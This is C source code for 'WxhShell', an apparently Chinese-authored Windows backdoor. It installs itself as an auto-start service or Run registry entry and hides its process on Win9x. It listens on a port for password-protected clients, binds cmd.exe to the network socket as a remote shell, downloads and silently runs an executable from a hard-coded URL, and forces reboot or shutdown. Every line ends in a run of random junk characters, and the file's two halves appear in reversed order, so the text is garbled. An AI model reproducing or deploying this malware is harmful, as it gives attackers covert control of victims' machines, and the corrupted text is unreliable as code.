    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n1.]5c3p  
    if(Boot(SHUTDOWN)) {gK i15t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M/ R#f9W  
    else { X#gZgz ='  
    closesocket(wsh); h_x"/z&  
    ExitThread(0); h"]v+u`!SM  
    } 3D;\V&([  
    break; f:Ju20D  
    } @x"vGYKd  
  // 获取shell LnrR#fF]Z  
  case 's': { xr)kHJ:v  
    CmdShell(wsh); c?>Q!sC  
    closesocket(wsh); d8dREhK&  
    ExitThread(0); :eei<cn2  
    break; e!G I<  
  } i&{8a3B  
  // 退出 *sZOws<  
  case 'x': { j4+hWalm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m cp}F|ws  
    CloseIt(wsh); aq,&W q@  
    break; Hz%#&E  
    } 6-QTqb?U;N  
  // 离开 1th|n  
  case 'q': { >Y)jt*vQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cz&Qoyh{;  
    closesocket(wsh); mi%d([)%<  
    WSACleanup(); YNHn# 98\  
    exit(1); &Q(Q/]U~  
    break; s26:(J [{  
        } sqj8c)6  
  } )uZ<?bkQ  
  } >vt#,8VAN  
sAC1Pda  
  // 提示信息 y{U'\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "7Zb)Ocb  
} %HwPOEJ  
  } 'hf-)\Ylf  
yi r#G""7  
  return; r3_@ L>;  
} ZMy7z|  
z Sj.Y{J  
// shell模块句柄 nWmc  
int CmdShell(SOCKET sock) tjuW+5O  
{ !$qNugLg  
STARTUPINFO si; @H1pPr  
ZeroMemory(&si,sizeof(si)); jYO@ %bQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o @~XX@5l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I zM=?,`  
PROCESS_INFORMATION ProcessInfo; 1LT)%_d@  
char cmdline[]="cmd"; n]6xrsE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <;phc~0+  
  return 0; <y(>z*T;  
} (#X/sZQh  
X -w#E3  
// 自身启动模式 \SA5@.W  
int StartFromService(void) i1\xZ<|0  
{ |Tf}8e  
typedef struct Yf7n0Etd,  
{ T"dX)~E;  
  DWORD ExitStatus; #@ 3RYx  
  DWORD PebBaseAddress; Pm#B'N#*N|  
  DWORD AffinityMask; W>bhSKV%  
  DWORD BasePriority; o T5?*3f  
  ULONG UniqueProcessId; ~}$:iyJV(>  
  ULONG InheritedFromUniqueProcessId; T{{J' _s5L  
}   PROCESS_BASIC_INFORMATION; <!-8g!  
%4imlP  
PROCNTQSIP NtQueryInformationProcess; _ZC4O&fL  
.A&Ey5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2RT9Q!BX{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NnGQ=$e  
q'hMf?_  
  HANDLE             hProcess; $/Zsy6q:  
  PROCESS_BASIC_INFORMATION pbi; *x)WF;(]g  
-Z4J?b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3@XCP-`  
  if(NULL == hInst ) return 0; Gx y>aS3  
L7wl3zG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 05=O5<l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); --Dw8FR9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ](x4q  
<@A/`3_O)  
  if (!NtQueryInformationProcess) return 0; ~ AS2$  
mhnD1}9,Ih  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B.'@~$  
  if(!hProcess) return 0; &&M-5XD  
4ME8NEE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JUF[Y^C  
G>YJ3p7  
  CloseHandle(hProcess); )[~ #j6  
8}{';k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); agM.-MK  
if(hProcess==NULL) return 0; slOki|p;  
%+Z 0 $Q  
HMODULE hMod; (+>+@G~o  
char procName[255]; C ])Q#!D|  
unsigned long cbNeeded; e ! 6SJ7xC  
F,11 \j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `[jQn;  
dV<M$+;s]  
  CloseHandle(hProcess); InH R> ,  
cx_[Y  
if(strstr(procName,"services")) return 1; // 以服务启动 =c(_$|0  
6IctW5b  
  return 0; // 注册表启动 QKwWX_3%Z]  
} J= ia  
x +q"%9.c  
// 主模块 ~V`D@-VND  
int StartWxhshell(LPSTR lpCmdLine) 8v*>~E/0  
{ >#$( M5&}-  
  SOCKET wsl; HvKueTQ  
BOOL val=TRUE; XG<^j}H{}  
  int port=0; HdJLD+k/  
  struct sockaddr_in door; -,TBUWg  
m{JiF-=u  
  if(wscfg.ws_autoins) Install(); UacN'Rat  
E:D1ZV  
port=atoi(lpCmdLine); SV<*qz  
hIXGfvUy  
if(port<=0) port=wscfg.ws_port; QTz{ZNi!  
#h6(DuViKw  
  WSADATA data; ;}A#ws_CD_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]vXIj0:  
]n _-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PUltn}M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Vs/1y`()  
  door.sin_family = AF_INET; >BrxJw#M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E&{*{u4  
  door.sin_port = htons(port); `y P-,lA$  
"f!*%SR: 1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~XsS00TL`G  
closesocket(wsl); ~BERs;4  
return 1; \xDu#/^  
} [9BlP  
_xl#1>G^J  
  if(listen(wsl,2) == INVALID_SOCKET) { cQ6[o"j.  
closesocket(wsl); "*RCV6{  
return 1; l YH={jJ  
} ]1)@.b;QR  
  Wxhshell(wsl); hO;bnt%(  
  WSACleanup(); ,*E%D _  
J}._v\Q7P  
return 0; @tEVgyN  
E;VBoN [  
} vEtogkFA"  
qt^%jIv  
// 以NT服务方式启动 $C9<{zX   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Co[[6pt~  
{ R:E6E@T  
DWORD   status = 0; <j:3<''o  
  DWORD   specificError = 0xfffffff; XhWMvme  
iV'-j,-i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v0"|J3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I;P?P5H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z9w@-])  
  serviceStatus.dwWin32ExitCode     = 0; yC+N18y?  
  serviceStatus.dwServiceSpecificExitCode = 0; K ANE"M   
  serviceStatus.dwCheckPoint       = 0; .Z%7+[  
  serviceStatus.dwWaitHint       = 0; e&; c^Z  
+FY-r[_~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )tFFa*Z'  
  if (hServiceStatusHandle==0) return; f910drg7  
%bDd  
status = GetLastError(); "sT`Dhr  
  if (status!=NO_ERROR)  KS*W<_I  
{ *n}9_V%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *XniF~M  
    serviceStatus.dwCheckPoint       = 0; qgI Jg6x/}  
    serviceStatus.dwWaitHint       = 0; ;jX_e(T3m  
    serviceStatus.dwWin32ExitCode     = status; =!#D UfQf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7w>"M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,yV pB)IQ  
    return; oYJ&BPuA'  
  } \lKQDct. -  
LaN4%[;X1-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]3d&S5zU  
  serviceStatus.dwCheckPoint       = 0; 5Hr(9)  
  serviceStatus.dwWaitHint       = 0; ( fdDFb#1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Ic3th%u  
} U?$v 1||  
a P{xMB#1h  
// 处理NT服务事件,比如:启动、停止 B1nb23SY T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wf|CE410  
{ !cSD9q*  
switch(fdwControl) Vg:P@6s  
{ ^jf$V #z0/  
case SERVICE_CONTROL_STOP: D cus-,u~  
  serviceStatus.dwWin32ExitCode = 0; Y] P}7GZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -\UzL:9>  
  serviceStatus.dwCheckPoint   = 0; X@~sIUXx9  
  serviceStatus.dwWaitHint     = 0; ~@'|R%jJ  
  { &cpRB&bf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sv0kksj  
  } `Z%XA>  
  return; cLR8U1k'  
case SERVICE_CONTROL_PAUSE: Ae ue:u>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M\`6H8aLn  
  break; 6bHj<6>MX  
case SERVICE_CONTROL_CONTINUE: .*Hv^_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >W-e0kkH  
  break; D|=QsWZI  
case SERVICE_CONTROL_INTERROGATE: 'O{hr0q}  
  break; Jc:G7}j6  
}; + s[(CI.b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /)oxuk&}c  
} DU 8)c$  
K9w24Oka  
// 标准应用程序主函数 +S/8{2%?DG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V 8n}"  
{ f_Wn[I{  
!^8'LMY<I  
// 获取操作系统版本 #e8CuS  
OsIsNt=GetOsVer();  K[?wP>s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?[m5|ty#  
Llk`  
  // 从命令行安装 HnY: gu  
  if(strpbrk(lpCmdLine,"iI")) Install(); xFpJ#S&  
^xqh!  
  // 下载执行文件 c#Y9L+O  
if(wscfg.ws_downexe) { u{H_q&1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |ZZ3Qr+%S  
  WinExec(wscfg.ws_filenam,SW_HIDE); &Q&$J )0  
} )9<)mV*EB(  
IgFz[)  
if(!OsIsNt) { {|rwIRe  
// 如果时win9x,隐藏进程并且设置为注册表启动 dDm<'30?*v  
HideProc(); G53!wIW2:  
StartWxhshell(lpCmdLine); NEGpf[$  
} 4tu2%Og)?  
else pAa{,,Qc  
  if(StartFromService()) \{UiGCK  
  // 以服务方式启动 l;|1C[V  
  StartServiceCtrlDispatcher(DispatchTable); 0j_!)B  
else 'fVk1Qj^  
  // 普通方式启动 P AKh v.7  
  StartWxhshell(lpCmdLine); }>0UaK  
\lY26'  
return 0; w6wXe_N+M  
} [6/ %ynlP  
;$%+TN  
Pt1Htt:BE  
D2?7=5DgS  
=========================================== WrG)&&d  
p1|@F^Q  
H>Fy 2w  
|faXl3|  
$hEX,  
Wo2M}]0  
" 5 |>jz `  
> 5 i8 %r  
#include <stdio.h> 5TnECk  
#include <string.h> #v~5f;[AAs  
#include <windows.h> ^T<<F}@q  
#include <winsock2.h> #K4wO!d  
#include <winsvc.h> 6'Lij&,f?{  
#include <urlmon.h> 7M$>'PfO  
Fe/*U4xU  
#pragma comment (lib, "Ws2_32.lib") FJ2^0s/"  
#pragma comment (lib, "urlmon.lib") 2^:5aABQ  
3 F4I{L  
#define MAX_USER   100 // 最大客户端连接数 |H |ewVUY  
#define BUF_SOCK   200 // sock buffer sXfx[)T<  
#define KEY_BUFF   255 // 输入 buffer k*n5+[U^tP  
=XWi+')  
#define REBOOT     0   // 重启 =nY*,Xu<  
#define SHUTDOWN   1   // 关机 @0)bY*njj  
`GSfA0?  
#define DEF_PORT   5000 // 监听端口 \y0abxIHS  
U,+=>ns>  
#define REG_LEN     16   // 注册表键长度 CF$^we  
#define SVC_LEN     80   // NT服务名长度 >yL8C: J9  
cy}2~w&s4  
// 从dll定义API N:d" {k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q}m)Q('Rk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K}wUM^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qvab >U`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ (X~Z  
Tlf G"HzZ%  
// wxhshell配置信息 R_ Z H+@O  
struct WSCFG { #nu?b?X'  
  int ws_port;         // 监听端口 G,$jU9 f  
  char ws_passstr[REG_LEN]; // 口令 4K4?Q+?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2pB@qi-]  
  char ws_regname[REG_LEN]; // 注册表键名 jmAWto}.  
  char ws_svcname[REG_LEN]; // 服务名 e <IT2tv>u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jt;,7Ek  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /O&j1g@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gN(8T_r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K\;b3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IJs` 3?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RE*SdazY?  
#^eviF8  
}; Dpof~o,f  
>S!QvyM(V  
// default Wxhshell configuration ^Ji5)c  
struct WSCFG wscfg={DEF_PORT, ,c7 8O8|  
    "xuhuanlingzhe", rt."P20T  
    1, 3 UBG?%!$f  
    "Wxhshell", & }}o9  
    "Wxhshell", ,H.q%!{h_  
            "WxhShell Service", ya|7hz{  
    "Wrsky Windows CmdShell Service", e&wW lB![  
    "Please Input Your Password: ", v_oNM5w  
  1, #Ok*O r  
  "http://www.wrsky.com/wxhshell.exe", CRS/qso[Q'  
  "Wxhshell.exe" EY&hWl*a^  
    }; W**a\[~$  
&%INfl>o7.  
// 消息定义模块 QPdhesrd-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x==%BBnO%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a[t2T jB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~KCOCtiD  
char *msg_ws_ext="\n\rExit."; o,u-%  
char *msg_ws_end="\n\rQuit."; Z.rKV}yjY  
char *msg_ws_boot="\n\rReboot..."; U?H!:?,C  
char *msg_ws_poff="\n\rShutdown..."; CB6<Vng}C  
char *msg_ws_down="\n\rSave to "; k+%6 :r,r&  
e6]u5;B r  
char *msg_ws_err="\n\rErr!"; 72Ft?;R  
char *msg_ws_ok="\n\rOK!"; N0/DPZX7  
Bm.%bA>  
char ExeFile[MAX_PATH]; &|55:Y87  
int nUser = 0; 5H>[@_u+:  
HANDLE handles[MAX_USER]; l*/I ; a$  
int OsIsNt; n Hy|  
{3!v<CY'  
SERVICE_STATUS       serviceStatus; `|Tr"xavf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k%Jw S_F  
q]<cn2  
// 函数声明 gNN{WFHQX:  
int Install(void); \u2p]K>  
int Uninstall(void); aQw?r  
int DownloadFile(char *sURL, SOCKET wsh); mZ*!$P:vy"  
int Boot(int flag); A=E1S{C  
void HideProc(void); mmEr2\L  
int GetOsVer(void); Qnph?t>  
int Wxhshell(SOCKET wsl); [,$] %|6wt  
void TalkWithClient(void *cs); b6Dve]  
int CmdShell(SOCKET sock); kW5g]Q   
int StartFromService(void); =A04E  
int StartWxhshell(LPSTR lpCmdLine); 0I& !a$:  
{_l@ws  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bo_Ivhe[m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9>\s81^  
b=`h""u  
// 数据结构和表定义 xR\$2(  
SERVICE_TABLE_ENTRY DispatchTable[] = /J8y[aa  
{ (wnkdI{  
{wscfg.ws_svcname, NTServiceMain}, t%V!SvT8+  
{NULL, NULL} ;ukwKf s  
}; 9:IVSD&"Rf  
9UZKL@KC  
// 自我安装 jL>IX`,+6  
int Install(void) &8z`]mB{t  
{ n<uF9N<   
  char svExeFile[MAX_PATH]; 4tof[n3us  
  HKEY key; z45ImItH  
  strcpy(svExeFile,ExeFile); q:+,'&<D  
$62!R]C9\  
// 如果是win9x系统,修改注册表设为自启动 O}"VK  
if(!OsIsNt) { V8 }yK$4b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nB WVG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p,Qr9p3y  
  RegCloseKey(key); ab: yH ')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 D>WIOX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5iwJdm  
  RegCloseKey(key); L "P$LEk  
  return 0; SBg BZm}%  
    } 3g`uLA X>u  
  } :q<8:,rP  
} 00[Uk'Q*5  
else { n0:'h}^  
a2SMNC]  
// 如果是NT以上系统,安装为系统服务 xJ:15eDC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LaG./+IP  
if (schSCManager!=0) pMe'fC~*  
{ 4%0eX]  
  SC_HANDLE schService = CreateService #ih(I7prH  
  ( GBFYa6\4sT  
  schSCManager, mADq_` j  
  wscfg.ws_svcname, d @<(Z7|  
  wscfg.ws_svcdisp, 3Gubq4r  
  SERVICE_ALL_ACCESS, T;IaVMFG|d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x$tx!%,)/S  
  SERVICE_AUTO_START, q]ER_]%Gna  
  SERVICE_ERROR_NORMAL, 2Xys;Dwx  
  svExeFile, k^:)|Z  
  NULL, ^y]CHr  
  NULL, o['HiX  
  NULL, aqSHo2]DX9  
  NULL, RtwlPz<~S  
  NULL }K!}6?17T  
  ); p'M5]G  
  if (schService!=0) [#.E=s+&  
  { N.vt5WP  
  CloseServiceHandle(schService); M,7A|?O  
  CloseServiceHandle(schSCManager); 0&mOu #l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ELZCrh6*  
  strcat(svExeFile,wscfg.ws_svcname); TL-sxED,,D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (sHqzWh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y0k*iS e  
  RegCloseKey(key); )7l+\t  
  return 0; XCc /\  
    } }(4U7Ac  
  } ]h3<r8D_#  
  CloseServiceHandle(schSCManager); $!)Sgb  
} x DD3Y{ K  
} t;!v jac  
hy3j8?66  
return 1; ACxOC2\n  
} q|;_G#4  
61L  vT"  
// 自我卸载 MF)Xc\}0p  
int Uninstall(void) U` uP^  
{ r BQFC 4L  
  HKEY key; 7=(r k  
sEP-jEuwG  
if(!OsIsNt) { fl#gWAM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Z;;v|F.i=  
  RegDeleteValue(key,wscfg.ws_regname); <5X?6*Qvr  
  RegCloseKey(key); r~&"D#)sy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SAMP,un7  
  RegDeleteValue(key,wscfg.ws_regname); ;jS2bc:8a  
  RegCloseKey(key); FR&4i" +  
  return 0; YNyaz\L  
  } MB06=N  
} ?f<JwF<  
} nk|j(D  
else { azF|L"-RP  
(L}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rH Et]Xa  
if (schSCManager!=0) FKRO0%M4}Z  
{ _:DnF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,#:*dl  
  if (schService!=0) 6;6a.iZ  
  { qk VGa%^  
  if(DeleteService(schService)!=0) { \n$s5i-  
  CloseServiceHandle(schService); G- wQ weJ9  
  CloseServiceHandle(schSCManager); +aR.t@D+"Y  
  return 0; D;VQoO  
  } &/R`\(hEA  
  CloseServiceHandle(schService); {\3k(NdEX  
  } /I&Hq7SW`  
  CloseServiceHandle(schSCManager); Yt*2/jw^  
} $8zsqd 4?  
} K =T]@ix$  
&~gqEl6RF  
return 1; ^L#\z7  
} WJ":BK{NM  
U+:oy:mz  
// 从指定url下载文件 QFt7L  
int DownloadFile(char *sURL, SOCKET wsh) ^wNx5t  
{ 9c9F C  
  HRESULT hr; BNns#Q8a  
char seps[]= "/"; =%P'?(o|  
char *token; GO0Spf_Gh  
char *file; AT Dm$ *  
char myURL[MAX_PATH]; U  ?'$E\  
char myFILE[MAX_PATH]; E`s9SE  
Rj6:.KEJ  
strcpy(myURL,sURL); GPlAQk  
  token=strtok(myURL,seps); :?W {vV  
  while(token!=NULL) OjO$.ecT  
  { jyQ Bx  
    file=token; ?|!167/O  
  token=strtok(NULL,seps); /^ *GoB  
  } 3 d $  
W _j`'WN/  
GetCurrentDirectory(MAX_PATH,myFILE); Z)}q=NjA  
strcat(myFILE, "\\"); 7oaa)  
strcat(myFILE, file); !_0kn6 S5  
  send(wsh,myFILE,strlen(myFILE),0); LoZ8;VU  
send(wsh,"...",3,0); Pl^-]~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y*nzOD$  
  if(hr==S_OK) 94C)63V  
return 0; 8&snLOU -Q  
else E/ %S0  
return 1; tk3%0XZH  
y\0<f `v6  
} \;AW/& Ea  
~um+r],@@  
// 系统电源模块 ;m6Mm`[i<  
int Boot(int flag) BkfWZ O{7  
{ [)UF@Sq4+Q  
  HANDLE hToken; xHEkmL`)4  
  TOKEN_PRIVILEGES tkp; Ch-56   
9Br2}!Ny  
  if(OsIsNt) { <K4`GT"n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rx`G* k{X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L-ans2?  
    tkp.PrivilegeCount = 1; 6ExUNp @U>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~@ a7RiE@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q@ !p  
if(flag==REBOOT) { s)Sa KE*d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) . 2_t/2  
  return 0; T3 xr Ua&  
} s '%KKC  
else { &We1i &w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e  iS~*@  
  return 0; g*$ 0G  
} ~:7AHK2  
  } W}B 4^l  
  else { AMqu}G  
if(flag==REBOOT) { $$C5Q;7w!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *UVjN_na5  
  return 0; .&2pZ  
} Dz, Fu:)  
else { dIv/.x/V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !ZP1?l30  
  return 0; oH~ZqX.3  
} c)Ft#vzg&e  
} Sd'Meebu  
_DfI78`(  
return 1; 9R.IYnq  
} Zrfp4SlZZ  
i gzISYC_  
// win9x进程隐藏模块 &8t?OpB =h  
void HideProc(void) -F,o@5W>Y  
{ U,/NygB~  
R`=IYnoOA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <x@\3{{U  
  if ( hKernel != NULL ) e2w$":6>  
  { D[{p~x^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V M[9!:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K8*QS_*  
    FreeLibrary(hKernel); Z4'"*  
  } uE:#m.Q  
fX G+88:2  
return; M%4o0k]E,s  
} [;dWFG"f  
#I9|>XE1  
// 获取操作系统版本 DoWY*2E  
int GetOsVer(void) bTC2Ya  
{ xD#PM |I  
  OSVERSIONINFO winfo; lD2>`s 5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @Zd+XWFw  
  GetVersionEx(&winfo); %_+9y??  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KmV#% d  
  return 1; ]OY6.m  
  else yAEOn/.~  
  return 0; >>krH'79  
} Y5LESZWo  
l1`Zp9I  
// 客户端句柄模块 >rlQY>5pH  
int Wxhshell(SOCKET wsl) "%ag^v9  
{ L.(T"`-i  
  SOCKET wsh; Y">tfLIL_  
  struct sockaddr_in client; |w[}\#2  
  DWORD myID; R@>R@V>c  
;nj'C1  
  while(nUser<MAX_USER) ~bT0gIc  
{ hXS'*vO"  
  int nSize=sizeof(client); Kbx(^f12  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qM@][]j:  
  if(wsh==INVALID_SOCKET) return 1; [$3Zid  
IC[SJVH;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !_<.6ja  
if(handles[nUser]==0) `{I,!to  
  closesocket(wsh); 3@$h/xMJ  
else l>"gO9j  
  nUser++; G%ycAm  
  } .&7=ZY>E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U._ U!U  
M@!Gk  
  return 0; ]Ke|wRQD  
} k}>l+_*+7  
05*_h0}  
// 关闭 socket 'DsfKR^ s  
void CloseIt(SOCKET wsh) &0f7>.y  
{ 2bX!-h  
closesocket(wsh); y=9a2 [3Dz  
nUser--; P?n!fA>!  
ExitThread(0); O~d!* A  
} oD{V_/pdx  
A#1aO  
// 客户端请求句柄 $';'MoS  
void TalkWithClient(void *cs) S,AZrgh,"X  
{ $$ _ uQf  
hl}#bZ8]  
  SOCKET wsh=(SOCKET)cs; KtEM H  
  char pwd[SVC_LEN]; /G[y 24 Q  
  char cmd[KEY_BUFF]; \Qk:\aLR  
char chr[1]; y(.WK8  
int i,j; !nVX .m9  
1sc #!^Oo  
  while (nUser < MAX_USER) { mm#U a/~1u  
&%u,b~cL?  
if(wscfg.ws_passstr) { |BH, H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +6<MK;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LDV{#5J  
  //ZeroMemory(pwd,KEY_BUFF); \07Vh6cj  
      i=0; 1b3Lan_2  
  while(i<SVC_LEN) { +Q-~~v7,  
(~Zg\(5#  
  // 设置超时 Zz?+,-$_*&  
  fd_set FdRead; }WI24|`zM  
  struct timeval TimeOut; 86%weU/*  
  FD_ZERO(&FdRead); 7M;Y#=sR  
  FD_SET(wsh,&FdRead); 8x,;B_Zu  
  TimeOut.tv_sec=8; 9U}EVpD  
  TimeOut.tv_usec=0; (-dJ0!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qwFn(pK[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vo7 1T<K  
fil6w</L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 73}k[e7e  
  pwd=chr[0]; /Z2*>7HM8[  
  if(chr[0]==0xd || chr[0]==0xa) { qWE"vI22M  
  pwd=0; nj7Ri=lyS  
  break; Z/-%Eb]L1  
  } \ vJ*3H6  
  i++; ^"buF\3L  
    } Bl`e+&b  
6w1:3~a  
  // 如果是非法用户,关闭 socket #i2q}/w5`C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :L`z~/6  
} 2~J|x+  
:+Dn]:\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KAsS= `  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KMbBow3o*~  
1~7y]d?%  
while(1) { G$@X>)2N8  
H50nR$$<*Y  
  ZeroMemory(cmd,KEY_BUFF); +Z;0"'K'e  
}|SVt`n  
      // 自动支持客户端 telnet标准   STOE=TC>  
  j=0; Q^39Wk@  
  while(j<KEY_BUFF) { IwH ,g^0\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jb tbW &EH  
  cmd[j]=chr[0]; GtGToI  
  if(chr[0]==0xa || chr[0]==0xd) { :cC`wX$  
  cmd[j]=0; {Z?!*Ow  
  break; 7H >dv'  
  } R2J3R5 S=[  
  j++; $(CHwG-  
    } =u;q98r  
sJM}p5V  
  // 下载文件 IBF>4q m"  
  if(strstr(cmd,"http://")) { i-ogeR?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); czZ-C +}%  
  if(DownloadFile(cmd,wsh)) `HJwwKd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A1'IK.  
  else 'M'LJ.,"/  
